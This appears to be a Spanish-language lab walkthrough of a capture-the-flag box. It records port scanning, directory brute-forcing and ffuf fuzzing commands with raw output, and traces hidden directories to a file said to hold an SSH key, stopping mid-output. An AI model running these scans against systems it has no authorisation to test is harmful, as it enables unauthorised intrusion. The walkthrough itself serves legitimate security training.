Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 06:19 EDT
Nmap scan report for 192.168.195.145
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
|   256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_  256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.48 (Debian)
| http-robots.txt: 1 disallowed entry
|_/~myfiles
MAC Address: 00:0C:29:2E:8E:12 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.195.145

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.145/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 280]
/.htaccess.txt        (Status: 403) [Size: 280]
/.htaccess.html       (Status: 403) [Size: 280]
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.htpasswd.txt        (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/image                (Status: 200) [Size: 954]
/index.html           (Status: 200) [Size: 333]
/javascript           (Status: 403) [Size: 280]
/manual               (Status: 200) [Size: 676]
/robots.txt           (Status: 200) [Size: 34]
/robots.txt           (Status: 200) [Size: 34]
/server-status        (Status: 403) [Size: 280]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Encontramos un `/robots.txt` si enctramos dentro de el, vemos lo siguiente...

```
User-agent: *
Disallow: /~myfiles
```

Por lo que en la `URL` pondremos eso que encontramos...

```
URL = http://<IP>/~myfiles/
```

Y nos encontraremos como una especie de pagina con un `Error 404` pero si la inspeccionamos, vemos lo siguiente...

```
<!-- Your can do it, keep trying. -->
```

Encontramos algo parecido si inspeccionamos la pagina principal...

```
<!-- Its an easy box, dont give up. -->
```

ffuf (FUZZ)

```
ffuf -w <WORDLIST> -u http://<IP>/~FUZZ
```

Intercambiaremos `myfiles` por `FUZZ` para que busque de un diccionario por fuerza bruta que subcarpetas puede haber pero con el simbolo `~` que nos hemos encontrado...

```

        /'___\  /'___\           /'___\
       /\ __/ /\ __/  __  __  /\ __/
       \ \ ,__\ \ ,__/\ /\ \ \ \ ,__\
        \ \ _/ \ \ _/\ \ _\ \ \ \ _/
         \ _\   \ _\  \ ____/  \ _\
          /_/    /_/   /___/    /_/
       v2.1.0-dev
```

```
:: Method           : GET
:: URL              : http://192.168.195.145/~FUZZ
:: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
```

```
myfiles                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 66ms]
secret                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 2150 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
```

```
Por lo que pondremos en la ``URL`` lo siguiente...
```

URL = http://<IP>/~secret

```
Nos encontramos lo siguiente...
```

Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file,
Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.
I'm smart I know that.
Any problem let me know

Your best friend icex64

~~~
```shell
ffuf -w /usr/share/wordlists/directory-list-2.3-medium.txt -u
http://<IP>/~secret/.FUZZ -e .html,.php,.txt -t 200
~~~

Info:

```

        /'___\  /'___\           /'___\
       /\ __/ /\ __/  __  __  /\ __/
       \ \ ,__\ \ ,__/\ /\ \ \ \ ,__\
        \ \ _/ \ \ _/\ \ _\ \ \ \ _/
         \ _\   \ _\  \ ____/  \ _\
          /_/    /_/   /___/    /_/

       v2.1.0-dev
```

```
:: Method          : GET
:: URL             : http://192.168.5.149/~secret/.FUZZ
:: Wordlist        : FUZZ: /usr/share/wordlists/directory-list-2.3-medium.txt
:: Extensions      : .html .php .txt
:: Follow redirects : false
:: Calibration     : false
:: Timeout         : 10
:: Threads         : 200
:: Matcher         : Response status: 200-299,301,302,307,401,403,405,500
```

```
Copyright 2007 James Fisher.html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 12ms]
directory-list-2.3-medium.txt.php [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
license, visit http://creativecommons.org/licenses/by-sa/3.0/ .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
#.php                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
Copyright 2007 James Fisher.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
Attribution-Share Alike 3.0 License. To view a copy of this .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
license, visit http://creativecommons.org/licenses/by-sa/3.0/ .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
This work is licensed under the Creative Commons .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]
This work is licensed under the Creative Commons .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]
```

```
This work is licensed under the Creative Commons .php [Status:
200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]

license, visit http://creativecommons.org/licenses/by-sa/3.0/
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]

or send a letter to Creative Commons, 171 Second Street, .html
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]

directory-list-2.3-medium.txt [Status: 200, Size: 331, Words: 52,
Lines: 6, Duration: 15ms]

Copyright 2007 James Fisher [Status: 200, Size: 331, Words: 52,
Lines: 6, Duration: 15ms]

license, visit http://creativecommons.org/licenses/by-sa/3.0/ .php
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]

Attribution-Share Alike 3.0 License. To view a copy of this .html
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]

[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]

Copyright 2007 James Fisher.php [Status: 200, Size: 331, Words:
52, Lines: 6, Duration: 16ms]

Attribution-Share Alike 3.0 License. To view a copy of this .php
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 16ms]

directory-list-2.3-medium.txt.html [Status: 200, Size: 331, Words:
52, Lines: 6, Duration: 15ms]

or send a letter to Creative Commons, 171 Second Street, .txt
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 18ms]

[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 18ms]
#.php                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 19ms]
```

```
This work is licensed under the Creative Commons  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 19ms]

or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 19ms]

on atleast 2 different hosts [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 18ms]

directory-list-2.3-medium.txt.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]

[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 43ms]

Priority ordered case sensative list, where entries were found .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 45ms]

Priority ordered case sensative list, where entries were found [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 45ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 34ms]

Priority ordered case sensative list, where entries were found .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 53ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 53ms]

Suite 300, San Francisco, California, 94105, USA..html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 35ms]
                        [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 44ms]

#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 45ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]
```

on atleast 2 different hosts.html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

or send a letter to Creative Commons, 171 Second Street, .php [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 55ms]

on atleast 2 different hosts.php [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

Priority ordered case sensative list, where entries were found .php [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

Suite 300, San Francisco, California, 94105, USA..txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

on atleast 2 different hosts.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]

```
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 54ms]
#.php                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 55ms]
#.php                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 10ms]
```

Suite 300, San Francisco, California, 94105, USA..php [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 58ms]

Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 55ms]

```
html.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
html                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
html.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms]
html.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
http                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
http.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
http.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
http.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htdocs.php              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htdocs.html             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htdocs                  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
htdocs.txt              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htm                     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
htm.php                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
htm.html                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
htm.txt                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
ht.html                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
ht                      [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
ht.txt                  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
ht.php                  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
httpd.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
httpd                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
httpd.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
httpd.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 27ms]
htmlcrypto.txt          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
htmlcrypto              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htmlcrypto.html         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
htmlcrypto.php          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
httptype.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
httptype.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
httptype.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
httptype                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htmls.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms]
htmls.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms]
htmls.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms]
htmls                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 34ms]
htc.txt                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms]
htc.php                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms]
htc.html                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms]
htc                     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms]
htbin.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
htbin                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
htbin.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
htbin.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
htaccess.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
htaccess                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
htaccess.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
htaccess.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
ht_flag                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
ht_flag.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
ht_flag.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
ht_flag.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
htdig.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
htdig.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
htdig                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
htdig.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
html401.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html401.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html401                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html401.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htmlhelp                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
htmlhelp.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
htmlhelp.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
htmlhelp.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms]
https.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
https                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
https.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
https.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
httpd-2.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 42ms]
httpd-2.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 42ms]
httpd-2                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 42ms]
httpd-2.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 43ms]
httptunnel.html         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
httptunnel.txt          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
httptunnel.php          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
httptunnel              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms]
html_wrap.txt           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
html_wrap.php           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
html_wrap.html          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
html_wrap               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
http_request.txt        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
http_request            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 8ms]
http_request.html       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
http_request.php        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
html4                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
html4.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html4.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html4.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
html_files.html         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html_files.php          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html_files              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
html_files.txt          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
http%3A                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
http%3A.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
http%3A.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms]
http%3A.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms]
htww.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
htww.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
htww.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
htww                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 23ms]
httpes.html             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httpes.php              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
httpes.txt              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
httpes                  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
htmldocs.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
htmldocs                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
htmldocs.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
htmldocs.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html_cheatsheet.txt     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
html_cheatsheet.html    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
html_cheatsheet.php     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
html_cheatsheet         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
html2.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
html2                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
html2.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
html2.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
htmlarea.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htmlarea.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htmlarea.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htmlarea                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 17ms]
htsrv.txt               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htsrv.html              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htsrv.php               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htsrv                   [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htsearch.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 8ms]
htsearch.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 9ms]
htsearch.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
htsearch                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 10ms]
htb                     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
htb.html                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
htb.php                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
htb.txt                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 3ms]
html-editors.php        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms]
html-editors.txt        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
html-editors            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
html-editors.html       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms]
htmlstory.txt           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
htmlstory.html          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 8ms]
htmlstory               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
htmlstory.php           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
html_single.txt         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html_single.html        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html_single             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html_single.php         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htforum.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 23ms]
htforum                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms]
htforum.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
htforum.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
htmledit.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
htmledit.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
htmledit.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
htmledit                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_response.txt       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
http_response           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_cycle              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_response.php       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
http_cycle.txt          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_cycle.html         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_cycle.php          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
http_response.html      [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
html-calendar           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html-calendar.txt       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html-calendar.php       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
html-calendar.html      [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 17ms]
htp                     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4ms]
htp.txt                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
htp.php                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
htp.html                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
html40.txt              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
html40                  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
html40.php              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
html40.html             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
httport.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 8ms]
httport                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 8ms]
httport.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httport.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htpc.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 44ms]
htpc                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 44ms]
htpc.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 57ms]
htpc.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 58ms]
htf1.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
htf1.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms]
htf1.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 27ms]
htf1                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
ht_s.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
ht_s.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
ht_s.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
ht_s                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
htab.html               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htab                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htab.php                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htab.txt                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htmlpages.txt           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
htmlpages.html          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
htmlpages               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
htmlpages.php           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
mysecret.txt            [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 22ms]
httpads.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httpads.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httpads.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
httpads                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
html_parser.txt         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 21ms]
html_parser             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms]
html_parser.php         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
html_parser.html        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms]
```

```
html98.html          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 27ms]
html98.txt           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
html98.php           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
html98               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httptunnel-3         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
httptunnel-3.txt     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
httptunnel-3.php     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
httptunnel-3.html    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
ht02.php             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 5ms]
ht02.txt             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
ht02.html            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
ht02                 [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 7ms]
htmap.txt            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htmap.php            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 12ms]
htmap                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 27ms]
htmap.html           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 16ms]
htm_hl.html          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
htm_hl               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 13ms]
